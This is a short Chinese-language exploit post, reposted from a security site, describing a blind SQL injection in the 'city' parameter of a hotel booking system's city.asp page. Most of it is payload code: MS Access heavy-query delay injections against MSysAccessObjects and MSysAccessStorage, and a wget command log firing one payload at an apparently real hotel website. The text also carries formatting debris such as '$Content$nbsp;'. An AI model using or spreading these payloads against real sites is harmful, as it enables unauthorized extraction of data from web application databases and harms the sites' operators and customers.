酒店预订系统(city.asp city)盲注漏洞
酒店预订系统( city.asp city)盲注漏洞
摘自:安全叶子
http://www.localhost/city.asp?city=[’foo]
每个数据库注射都不同
Microsoft Access中没有的延迟功能
Quote:
"MS ACCESS 97, 2000"
1) * (select max(1) from MSysAccessObjects)
2) and (SELECT count(*) from MSysAccessObjects t1, MSysAccessObjects t2, MSysAccessObjects t3,
MSysAccessObjects t4, MSysAccessObjects t5, MSysAccessObjects t6) > 0 and exists (select * from MSysAccessObjects)
"MS ACCESS 2003, 2007"
1) * (select max(1) from MSysAccessStorage)
2) and (SELECT count(*) from MSysAccessStorage t1, MSysAccessStorage t2, MSysAccessStorage t3,
MSysAccessStorage t4, MSysAccessStorage t5, MSysAccessStorage t6) > 0 and exists (select * from MSysAccessStorage)
Quote:
-------------------------------------------------- -------------------------------------------------- ---------
joss@h4x0rz:~$Content$nbsp;wget -v "http://www.hotelsk.net/city.asp?city=921%20and (SELECT count(*) from
MSysAccessStorage t1, MSysAccessStorage t2, MSysAccessStorage t3, MSysAccessStorage t4,
MSysAccessStorage t5, MSysAccessStorage t6) > 0 and exists (select * from MSysAccessStorage)"
-O result.txt --23:35:51-- http://www.hotelsk.net/city.asp?city=921%20and%20(SELECT%20count(*)%20from%20
MSysAccessStorage%20t1,%20MSysAccessStorage%20t2,%20MSysAccessStorage%20t3,%20MSysAccessStorage%20t4,
%20MSysAccessStorage%20t5,%20MSysAccessStorage%20t6)%20>%200%20and%20exists%20(select%20*%20from%20MSysAccessStorage)
=> `result.txt’
Resolviendo www.hotelsk.net... 67.15.59.114
Connecting to www.hotelsk.net|67.15.59.114|:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 4,465 (4.4K) [text/html]
100%[====================================>] 4,465 18.53K/s
23:36:26 (18.53 KB/s) - `result.txt’ saved [4465/4465]
------------------------------------------------------------------------------------------------------------